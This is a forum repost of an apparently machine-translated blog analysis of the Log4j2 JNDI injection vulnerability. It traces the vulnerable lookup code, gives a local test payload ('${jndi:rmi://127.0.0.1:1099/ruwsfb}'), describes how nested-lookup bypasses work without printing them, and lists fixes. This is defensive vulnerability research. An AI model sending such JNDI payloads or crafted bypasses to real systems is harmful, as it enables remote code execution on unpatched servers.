Nytro Posted December 11, 2021 Report Posted December 11, 2021 Speed through the log4j2 JNDI injection vulnerability~ java log4j2 jndi Word count: 1.5k Reading time: 6 min 2021/12/10 932 Share On December 9, 2021, a disaster comparable to eternal blue swept through Java. Log4j2 broke the JNDI injection vulnerability with extremely low difficulty to exploit. The difficulty of exploiting the vulnerability is breathtakingly low, and it is basically comparable to S2. Unlike S2, Log4j2 is used by a large number of Java frameworks and applications as the basic third-party library for logging. As long as Log4j2 is used for log output and the log content can be partially controlled by the attacker, it may be vulnerable to attacks. Influence. Therefore, the vulnerability also affects a large number of common applications and components around the world, such as: Apache Struts2 Apache Solr Apache Druid Apache Flink Apache Flume Apache Dubbo Apache Kafka Spring-boot-starter-log4j2 ElasticSearch Redis Logstash … Let's take a look at the vulnerability principle Vulnerability analysis Set up the environment Here choose log4j-core 2.14.1 version, simply construct an environment 1 2 3 4 5 6 7 8 9 10 11 12 13 package top.bigking.log4j2attack.service; import lombok. extern .slf4j.Slf4j; @Slf4j public class HelloService { public static void main ( String [] args) { System.setProperty( "com.sun.jndi.rmi.object.trustURLCodebase" , "true" ); System.setProperty( "com.sun.jndi .ldap.object.trustURLCodebase" , "true" ); log .error( "${jndi:rmi://127.0.0.1:1099/ruwsfb}" ); } } spring-boot needs to turn off the original log and add log4j (this is a common usage) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 < dependency > < groupId > org.springframework.boot </ groupId > < artifactId > spring-boot-starter </ artifactId > < exclusions > <!-- Remove springboot default configuration--> < exclusion > < groupId > org.springframework .boot </ groupId > < artifactId > spring-boot-starter-logging </ artifactId > </ exclusion > </ exclusions > </ dependency > < dependency > <!-- Introduce log4j2 dependency--> < groupId > org.springframework.boot </ groupId > < artifactId > spring-boot-starter-log4j2 </ artifactId > </ dependency > Execute to trigger Code analysis Causes of Vulnerability Here we follow the error normally First of all, you can see isEnabledthe verification here . This is also the reason why many friends' info functions cannot be triggered. If the configuration is not met, the log will not be recorded. MessagePatternConverterThe formatfunction followed all the way here You can see the entrance of this vulnerability, if the code exists, ${it will enter additional processing. Continue to follow to StrSubstitutorthe substitutefunction Here is the main part of the vulnerability, basically the grammatical content in the recursive processing, and some built-in grammar prefixMatcherYes ${ suffixMatcherYes} Only when the two parts are searched will it enter the grammar processing The content between the brackets is passed to varname And carry out two built-in grammars, of which 1 2 3 4 public static Final String DEFAULT_VALUE_DELIMITER_STRING = ": -" ; public static Final StrMatcher DEFAULT_VALUE_DELIMITER = StrMatcher.stringMatcher ( ": -" ); public static Final String ESCAPE_DELIMITER_STRING = ": \\ -" ; public static Final StrMatcher DEFAULT_VALUE_ESCAPE_DELIMITER StrMatcher.stringMatcher = ( ":\\-" ); If these two grammars are matched, varname will be modified to the corresponding part of the corresponding grammar (important bypass) The processed variable will enter the resolveVariablefunction on line 418 And resolveVariablehere, enter the corresponding lookup directly according to different protocols, which jndi.lookupwill cause loopholes If the execution of the lookup returns, it will enter the next level of recursive processing on line 427 There are also many protocols supported by lookup include{date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j} If you can smoothly step down from this process, it is not difficult to find that there are actually many logical problems in the entire process. Some simple bypasses Previously, we ${jndi:rmi://127.0.0.1:1099/ruwsfb}analyzed and processed according to the payload . But in the code, there are many parts that explain that there is recursive processing here, that is to say, we can ${}handle the return here in a nested syntax. For example, we select the lower protocol to return and splicing into the code The same can be executed Including his built-in special grammar The first half will be treated as varname, and the second half will be returned to replace the original result for the next splicing, so that a new payload can be constructed. Even the official has added a fault-tolerant code to it, if characters that do not meet the conditions are encountered, they will be deleted directly. Due to some special regulations, I will not announce the relevant bypass payload here. If you understand this part of the code, you can easily construct it. 2.15.0 rc1 fix In fact, this vulnerability was released a few days ago with an update patch, and I have also paid attention to it before, but I did not expect the logic of exploitation to be so simple. When the entire loophole caused a storm in the entire security circle, more and more friends focused their attention here. The rc1 repair also ushered in a bypass. The bypass here is actually quite interesting. Let's take a look at the patch. Repair patches and test samples are very interesting To put it simply, the original repair logic processing office, think of a way to make him deal with the error, then the original catch will not do the processing, but go directly into the lookup 😆 Repair plan 1. At present, Apache officially only released 2.15.0 rc2 and packaged the 2.15.0 release. There is no guarantee that it will not be bypassed a second time, and it is said that this version is not very compatible. https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2 2. Now the common repair plan mainly focuses on configuration modification , adding configuration to the log4j2.component.properties configuration file of the project: 1 log4j2.formatMsgNoLookups = true It should be noted that this configuration only takes effect above 2.10.0. You can also add this configuration in the java startup item 1 -Dlog4j2.formatMsgNoLookups = true 3. In addition, you may have to rely on major WAFs Write at the end In fact, this vulnerability was patched on December 6, and it was widely spread on Twitter. The first reaction I saw at first was that it was impossible to have such a serious problem. It must be a lot of restrictions. As a result, the use is simply very simple, and it swept all the projects in the java class at once. As a basic component, this component is referenced by most java frameworks/java applications, and a large number of problems are exposed at once. Just 1 hour after get off work, the payload has been spread. If it weren’t for the use of jndi to rce, it’s not easy. It is estimated that many services have fallen overnight. Since the manufacturer has not had time to release the repaired release, this vulnerability can only be defended by waf in the early stage. If the manufacturer with poor security operation construction, it is estimated that they can only wait to die. This feeling may be difficult to feel without experiencing such a big hole. . (When will 360 rise? Original author: LoRexxar Original link: https://lorexxar.cn/2021/12/10/log4j2-jndi/ Date of publication: December 10th 2021, 5:43:36 pm Update date: December 10th 2021, 5:44:32 pm Copyright notice: This article uses the Creative Commons Attribution-Non-Commercial Use 4.0 International License Agreement to license Sursa: https://lorexxar.cn/2021/12/10/log4j2-jndi/ 1 Quote
